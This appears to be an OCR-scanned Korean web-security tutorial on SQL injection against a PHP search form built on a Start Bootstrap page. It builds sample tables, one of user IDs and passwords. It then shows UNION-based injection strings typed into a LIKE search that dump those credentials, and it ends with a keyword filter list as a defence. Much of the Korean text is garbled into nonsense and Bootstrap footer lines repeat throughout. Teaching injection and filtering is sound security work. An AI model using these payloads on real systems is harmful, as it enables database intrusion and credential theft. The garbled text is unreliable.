Posted byStart Bootstrapon September 24, 2019
1-1
Posted byStart Bootstrapon September 24, 2019
2-2
Posted byStart Bootstrapon September 24, 2019
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3-3
3

Posted byStart Bootstrapon September 24, 2019
4-4

Posted byStart Bootstrapon September 24, 2019

ol M22 S0 dM0| & AS & & ASLICE O[X A0 8lE table 4tE BMf 2= o}l
SLICH 22[7t YT HO| 2 242 Ot et 211 UK createdE ZHOHA| E2 HE R SLICE

id int(11) NOT NULL AUTO_INCREMENT,
title varchar(3@) NOT NULL,
description text,

created datetime NOT NULL,

sQL
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%' union all select created, created, created, created from testtable where description 1
ike '%
PHP

M

select * from testtable where description like '%%’ union all select created,
created, created, created from testtable where description like ‘%%’

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

sted byStart Bootstrapon Septeml

2-HTML

Hypertext Markup Language (HTML) is the standard
markup language for documents designed to be
displayed in a web browser.

d byStart Bootstrapon September 24, 2019

3-CSss

Cascading Style Sheets (CSS) is a style sheet language
used for describing the presentation of a document
written in a markup Ianguage such as HTML.

yyStart Bootstrapon September 24, 2019

4-JAVA
Java is a class-based, object-oriented programming

language that is designed to have as few implementation
dependencies as posssble

Posted byStart Bootstrapon September 24, 2019

2020-11-06 10:13:56 - 2020-11-06 10:13:56
2020-11-06 10:13:56

sted byStart Bootstrapon September 24, 201

2020-11-06 10:13:56 - 2020-11-06 10:13:56
2020-11-06 10:13:56

I byStart Bootstrapon September 24, 201
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2020-11-06 10:13:56 - 2020-11-06 10:13:56
2020-11-06 10:13:56

ed byStart Bootstrapon September 24, 2019

2020-11-06 10:13:58 - 2020-11-06 10:13:58
2020-11-06 10:13:58

ted byStart Bootstrapon Septembe

Tref, Of2l et 20l user HIO|=0] M EOf RACHH, OFhef 22 CHE A ZO{LEA| El LI CH

create database userid;

use testdb;

CREATE TABLE usertable (
id int(11) NOT NULL AUTO_INCREMENT,
userid varchar(30) NOT NULL,
password text,
PRIMARY KEY(id)

) ENGINE=InnoDB;

SQL
INSERT INTO usertable(userid, password) VALUES ('leehojun', '1q2w3e4r');
INSERT INTO usertable(userid, password) VALUES ('honghojun', 'adminl!');
INSERT INTO usertable(userid, password) VALUES ('junho', 'gawsedrf!');
SELECT * FROM usertable;
sQL
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%' union all select userid, password, userid, password from usertable where userid like

‘%

A

select * from testtable where description like '%%' union all select userid,
password, userid, password from usertable where userid like ‘%%’

1-Python

Python is an interpreted, high-level and general-purpose
programming language. Created by Guido van Rossum
and first released in 1991, Python design philosophy
emphasizes

Posted byStart Bootstrapon September 24, 2019

2-HTML

Hypertext Markup Language (HTML) is the standard
markup language for documents designed to be
displayed in a web browser.

Posted byStart Bootstrapon September 24, 2019

3-CsS

Cascading Style Sheets (CSS) is a style sheet language
used for describing the presentation of a document
written in a markup language such as HTML.

Posted byStart Bootstrapon September 24, 2019

4-JAVA

Java is a class-based, object-oriented programming
language that is designed to have as few implementation
dependencies as possible

Posted byStart Bootstrapon September 24, 2019

leehojun - 1q2w3edr
leehojun
Posted byStart Bootstrapon September 24, 2019

honghojun - admin1!
honghojun

Posted byStart Bootstrapon September 24, 2019

SQL
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junho - gqawsedrf!
junho

Posted byStart Bootstrapon September 24, 2019

4. SQL Injection WX

0|23t 42 javascript THO|M 22 5= Q2 A X0 ZEA| HEE SAZ € 5= U7 QZ0
PHPOIM R2d BT si= 40| E&ELICE o2 &2 ZAE 0| =&t E #2220 &
SLR| ZE=HE,

s

/*, -, S, 2, #, (, ), ;, @ =, *, +, union, select, drop, update, from, where, join, s
YOS EFo o o

Plain Text

dH ZE= HA s 221 = AlRY 29 ZI0|EE HA8iF A 7] HHE LT
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